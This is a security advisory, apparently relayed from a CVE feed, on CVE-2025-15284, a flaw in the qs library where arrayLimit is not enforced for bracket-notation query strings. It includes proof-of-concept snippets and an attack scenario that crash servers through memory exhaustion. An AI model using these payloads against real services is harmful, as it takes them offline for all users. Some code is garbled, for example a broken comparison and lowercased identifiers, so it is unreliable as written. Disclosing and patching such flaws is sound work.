CVE-2025-15284 - arrayLimit bypass in bracket notation allows DoS via memory exhaustion

CVE ID : CVE-2025-15284 Published : Dec. 29, 2025, 11:15 p.m. | 55 minutes ago Description : Improper Input Validation vulnerability in qs (parse modules) allows HTTP DoS.This issue affects qs: < 6.14.1. SummaryThe arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable. DetailsThe arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2). Vulnerable code (lib/parse.js:159-162): if (root === '[]' && options.parseArrays) { obj = utils.combine([], leaf); // No arrayLimit check } Working code (lib/parse.js:175): else if (index <=<= options.arraylimit before creating arrays. poctest 1 - basic bypass: npm install qs const qs = require('qs'); const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arraylimit: 5 }); console.log(result.a.length); // output: 6 (should be max 5) test 2 - dos demonstration: const qs = require('qs'); const attack = 'a[]=' + array(10000).fill('x').join('&a[]='); const result = qs.parse(attack, { arraylimit: 100 }); console.log(result.a.length); // output: 10000 (should be max 100) configuration: * arraylimit: 5 (test 1) or arraylimit: 100 (test 2) * use bracket notation: a[]=value (not indexed a[0]=value) impactdenial of service via memory exhaustion. affects applications using qs.parse() with user-controlled input and arraylimit for protection. attack scenario: * attacker sends http request: get /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times) * application parses with qs.parse(query, { arraylimit: 100 }) * qs ignores limit, parses all 100,000 elements into array * server memory exhausted → application crashes or becomes unresponsive * service unavailable for all users real-world impact: * single malicious request can crash server * no authentication required * easy to automate and scale * affects any endpoint parsing query strings with bracket notation severity: 8.7 | high visit the link for more details, such as cvss details, affected products, timeline, and more...

Source: Telegram CVE Monitor